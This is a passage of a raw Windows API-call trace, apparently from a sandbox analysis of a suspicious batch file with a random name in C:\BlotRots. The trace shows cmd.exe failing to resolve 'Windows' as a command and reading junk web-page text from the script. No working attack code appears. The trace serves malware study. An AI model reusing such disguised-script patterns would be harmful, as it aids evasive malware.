lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.179] GetLastError () returned 0x2 [0162.179] ??_V@YAXPEAX@Z () returned 0x1 [0162.179] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0162.180] malloc (_Size=0xffce) returned 0x20b0fa70920 [0162.180] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0162.180] malloc (_Size=0xffce) returned 0x20b0fa80900 [0162.180] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0162.180] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0162.180] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0162.180] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0162.180] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0162.180] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0162.180] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0162.180] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0162.180] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0162.180] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0162.181] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0162.181] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0162.181] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0162.181] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0162.181] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0162.181] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0162.181] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0162.181] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0162.181] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0162.181] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0162.181] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0162.181] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0162.181] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0162.181] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0162.181] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0162.181] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0162.181] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0162.181] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0162.181] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0162.181] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0162.181] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0162.181] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0162.181] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0162.181] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0162.181] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0162.181] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0162.181] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0162.181] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0162.181] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0162.181] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0162.181] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0162.181] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0162.181] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0162.182] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0162.182] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0162.182] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0162.182] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0162.182] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0162.182] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0162.182] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0162.182] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0162.182] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0162.182] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0162.182] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0162.182] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0162.182] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0162.182] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0162.182] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0162.182] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0162.182] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0162.182] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0162.182] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0162.182] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0162.182] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0162.182] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0162.182] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0162.182] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0162.182] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0162.182] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0162.182] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0162.182] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0162.182] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0162.182] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0162.182] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0162.182] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0162.182] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0162.182] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0162.182] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0162.183] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0162.183] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0162.183] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0162.183] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0162.183] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0162.183] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0162.183] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0162.183] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0162.183] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0162.183] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0162.183] ??_V@YAXPEAX@Z () returned 0x1 [0162.183] GetProcessHeap () returned 0x20b0f920000 [0162.183] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0162.183] GetProcessHeap () returned 0x20b0f920000 [0162.183] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb8) returned 0x20b0f92d680 [0162.183] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0162.183] malloc (_Size=0xffce) returned 0x20b0fa80900 [0162.184] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0162.184] GetProcessHeap () returned 0x20b0f920000 [0162.184] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0162.185] SetErrorMode (uMode=0x0) returned 0x0 [0162.185] SetErrorMode (uMode=0x1) returned 0x0 [0162.185] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0162.185] SetErrorMode (uMode=0x0) returned 0x1 [0162.185] GetProcessHeap () returned 0x20b0f920000 [0162.185] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0162.185] GetProcessHeap () returned 0x20b0f920000 [0162.185] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0162.185] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0162.185] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0162.185] GetProcessHeap () returned 0x20b0f920000 [0162.185] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92e2a0 [0162.185] GetProcessHeap () returned 0x20b0f920000 [0162.185] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9269b0 [0162.185] GetProcessHeap () returned 0x20b0f920000 [0162.185] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9269b0, Size=0x1b6) returned 0x20b0f9269b0 [0162.186] GetProcessHeap () returned 0x20b0f920000 [0162.186] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9269b0) returned 0x1b6 [0162.186] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0162.186] GetProcessHeap () returned 0x20b0f920000 [0162.186] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92e460 [0162.186] GetProcessHeap () returned 0x20b0f920000 [0162.186] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92e460, Size=0x7e) returned 0x20b0f92e460 [0162.186] GetProcessHeap () returned 0x20b0f920000 [0162.186] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92e460) returned 0x7e [0162.186] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.186] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92ce50 [0162.186] FindClose (in: hFindFile=0x20b0f92ce50 | out: hFindFile=0x20b0f92ce50) returned 1 [0162.186] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.186] GetLastError () returned 0x2 [0162.186] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.187] GetLastError () returned 0x2 [0162.187] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.187] GetLastError () returned 0x2 [0162.187] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.187] GetLastError () returned 0x2 [0162.187] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.187] GetLastError () returned 0x2 [0162.187] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.187] GetLastError () returned 0x2 [0162.187] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.187] GetLastError () returned 0x2 [0162.187] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.188] GetLastError () returned 0x2 [0162.188] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.188] GetLastError () returned 0x2 [0162.188] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.188] GetLastError () returned 0x2 [0162.188] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.189] GetLastError () returned 0x2 [0162.189] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.189] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.189] GetLastError () returned 0x2 [0162.189] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.189] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d1b0 [0162.189] FindClose (in: hFindFile=0x20b0f92d1b0 | out: hFindFile=0x20b0f92d1b0) returned 1 [0162.189] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.190] GetLastError () returned 0x2 [0162.190] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.190] GetLastError () returned 0x2 [0162.190] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.190] GetLastError () returned 0x2 [0162.190] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.190] GetLastError () returned 0x2 [0162.190] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.190] GetLastError () returned 0x2 [0162.190] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.190] GetLastError () returned 0x2 [0162.190] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.191] GetLastError () returned 0x2 [0162.191] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.191] GetLastError () returned 0x2 [0162.191] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.191] GetLastError () returned 0x2 [0162.191] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.191] GetLastError () returned 0x2 [0162.191] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.191] GetLastError () returned 0x2 [0162.191] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.191] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.192] GetLastError () returned 0x2 [0162.192] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.192] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.192] GetLastError () returned 0x2 [0162.192] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.192] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.192] GetLastError () returned 0x2 [0162.192] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.192] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.192] GetLastError () returned 0x2 [0162.192] ??_V@YAXPEAX@Z () returned 0x1 [0162.193] _get_osfhandle (_FileHandle=2) returned 0x54 [0162.193] GetFileType (hFile=0x54) returned 0x2 [0162.193] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0162.193] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0162.193] _get_osfhandle (_FileHandle=2) returned 0x54 [0162.193] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0162.193] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0162.194] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0162.194] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0162.199] ??_V@YAXPEAX@Z () returned 0x1 [0162.199] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.199] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0162.200] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.200] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0162.200] _get_osfhandle (_FileHandle=0) returned 0x4c [0162.200] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0162.200] SetConsoleInputExeNameW () returned 0x1 [0162.200] GetConsoleOutputCP () returned 0x1b5 [0162.201] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0162.201] SetThreadUILanguage (LangId=0x0) returned 0x409 [0162.201] ??_V@YAXPEAX@Z () returned 0x1 [0162.202] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0162.202] _open_osfhandle (_OSFileHandle=0x94, _Flags=8) returned 3 [0162.202] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.202] SetFilePointer (in: hFile=0x94, lDistanceToMove=759, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f7 [0162.202] GetProcessHeap () returned 0x20b0f920000 [0162.202] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e460) returned 1 [0162.202] GetProcessHeap () returned 0x20b0f920000 [0162.202] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9269b0) returned 1 [0162.202] GetProcessHeap () returned 0x20b0f920000 [0162.202] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e2a0) returned 1 [0162.202] GetProcessHeap () returned 0x20b0f920000 [0162.202] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0162.203] GetProcessHeap () returned 0x20b0f920000 [0162.203] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d680) returned 1 [0162.203] GetProcessHeap () returned 0x20b0f920000 [0162.203] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0162.203] GetProcessHeap () returned 0x20b0f920000 [0162.203] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d5f0) returned 1 [0162.203] GetProcessHeap () returned 0x20b0f920000 [0162.203] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e0d0) returned 1 [0162.203] GetProcessHeap () returned 0x20b0f920000 [0162.203] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0162.203] GetProcessHeap () returned 0x20b0f920000 [0162.203] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0162.205] GetProcessHeap () returned 0x20b0f920000 [0162.205] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92cb10) returned 1 [0162.205] GetProcessHeap () returned 0x20b0f920000 [0162.205] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f928040) returned 1 [0162.205] GetProcessHeap () returned 0x20b0f920000 [0162.205] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92ca50) returned 1 [0162.206] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.206] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f7 [0162.206] ReadFile (in: hFile=0x94, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x14be, lpOverlapped=0x0) returned 1 [0162.206] SetFilePointer (in: hFile=0x94, lDistanceToMove=862, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x35e [0162.206] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=103, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\r\n \r\n") returned 103 [0162.206] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.206] GetFileType (hFile=0x94) returned 0x1 [0162.206] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.206] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x35e [0162.206] GetProcessHeap () returned 0x20b0f920000 [0162.206] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f946e70 [0162.207] GetProcessHeap () returned 0x20b0f920000 [0162.207] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946e70) returned 1 [0162.207] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0162.207] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0162.207] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0162.207] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0162.207] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0162.207] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0162.207] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0162.207] GetProcessHeap () returned 0x20b0f920000 [0162.207] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92ca50 [0162.207] GetProcessHeap () returned 0x20b0f920000 [0162.207] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f928040 [0162.207] GetProcessHeap () returned 0x20b0f920000 [0162.208] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xa6) returned 